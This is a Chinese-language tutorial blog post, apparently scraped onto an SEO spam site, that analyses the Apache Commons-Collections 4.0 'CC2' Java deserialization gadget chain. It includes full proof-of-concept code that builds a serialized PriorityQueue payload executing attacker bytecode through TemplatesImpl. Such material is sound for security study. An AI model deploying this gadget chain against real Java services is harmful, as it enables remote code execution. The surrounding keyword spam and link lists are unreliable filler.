当前位置: 首页 > news >正文

用服务器ip可以做网站吗营销咨询公司经营范围

用服务器ip可以做网站吗,营销咨询公司经营范围,网站首页样式,登陆中国建设银行网站我的账户密码怎么就有了?怎么清除前言 3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,是不可以被序列化的,所以我们重新搭建一个4.0的具有漏洞的CC环境 CC2链主要使用的和CC4一样,但是区别在于CC2避免了使用Transformer数组,没有使用Insta…

前言

3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,是不可以被序列化的,所以我们重新搭建一个4.0的具有漏洞的CC环境
CC2链主要使用的和CC4一样,但是区别在于CC2避免了使用Transformer数组,没有使用InstantiateTransformer类进行初始化,主要分析中间连接部分也就是CC2链重心

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies>

在这里插入图片描述

2. 分析

从链的出口到中间的过程和在CC4中分析的一样,都是从PririPriorityQueuety.heapify()—>Comparator.compare(),执行的命令点也是TemplatesImpl

TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);

就和我们前言中说的一样,CC2相较于CC4是放弃了使用InstantiateTransformer来实例化TrAXFilter,转为直接使用InvokerTransformer去调用templates对象的newTransformer方法,我们写一个InvokerTransformer去调用命令执行

InvokerTransformer test = new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{});

创建 TransformingComparator 类对象,传入一个临时的 Transformer 类对象,这是为了让代码能够不提前执行,在反序列化的时候执行。

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

我们在CC1中分析过InvokerTransformer类,之前已经写好一个InvokerTransformer调用,但是我们还需要给他传入一个对象,方便它去找到类的对象,并调用指定方法
在这里插入图片描述
所以我们创建 PriorityQueue 类对象 传入 transformingComparator 对象,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了,这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数

再在运行后反射修改回我们要执行的命令

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, test);

3.POC编写

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);InvokerTransformer test = new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{});TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);priorityQueue.add(templates);priorityQueue.add(templates);Class c = transformingComparator.getClass();Field transformingField = c.getDeclaredField("transformer");transformingField.setAccessible(true);transformingField.set(transformingComparator, test);serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}}

反序列化运行我们生成的二进制文件

package org.example;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

我们查看其中的过程
在执行到compare方法时,是TransformingComparator
在这里插入图片描述
到达transform方法时,就是我们之前之前添加priorityQueue.add(templates)的原因了,我们可以看到执行的是相当于

new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{}).transform(new TemplatesImpl())

在这里插入图片描述
最后执行成功
在这里插入图片描述

本次整体路线为

PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()InvokerTransformer.transform()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC3链

Commons-Collections篇-CC4链分析

Commons-Collections篇-CC6链分析

http://www.15wanjia.com/news/13246.html

相关文章:

  • 扶贫工作网站怎么做网站推广优化之八大方法
  • 网站开发美工的任务广东网站关键词排名
  • 阿拉尔网站建设百度指数分析
  • 海南百度推广开户费用安卓aso优化
  • 顺义广州网站建设搜狗搜索引擎优化指南
  • 上海可靠的网站建设公司搜索引擎优化的七个步骤
  • 河北省建设厅网站手机版广告软文代理平台
  • 如何做微信个人网站推广普通话宣传海报
  • 网站色彩搭配案例韩国今日特大新闻
  • 关于集团网站建设的修改请示大数据营销的概念
  • 丰台体育馆网站建设百度推广点击软件
  • 做淘宝客网站备案要怎么写网页制作费用大概多少
  • 苏州企业网站建站系统新东方烹饪培训学校
  • 网站建设做账域名信息查询网站
  • 温州移动互联网开发成都黑帽seo
  • 手机公司网站建设比较好的百度网盘下载慢怎么解决
  • 做网站的手机软件日本粉色iphone
  • 国内设计欣赏网站企业网络营销策划方案
  • 给公司做网站 优帮云上海百度推广官网
  • 网站搭建学什么软件做百度推广代运营有用吗
  • 网页和网站的关系什么叫友情链接
  • 淘宝可以到哪些网站做推广深圳seo优化培训
  • wordpress如何修改登录地址合肥seo培训
  • 网站建设的神秘网站
  • 重庆网站建设哪家专业单页网站制作教程
  • 杭州 手机网站百度站长工具seo
  • c 网站做微信支付功能seo团队
  • 婚庆网站开发背景什么关键词可以搜到那种
  • 个人网站公司网站区别经营区别今日新闻国际最新消息
  • 石家庄营销网站建设价格网站建设平台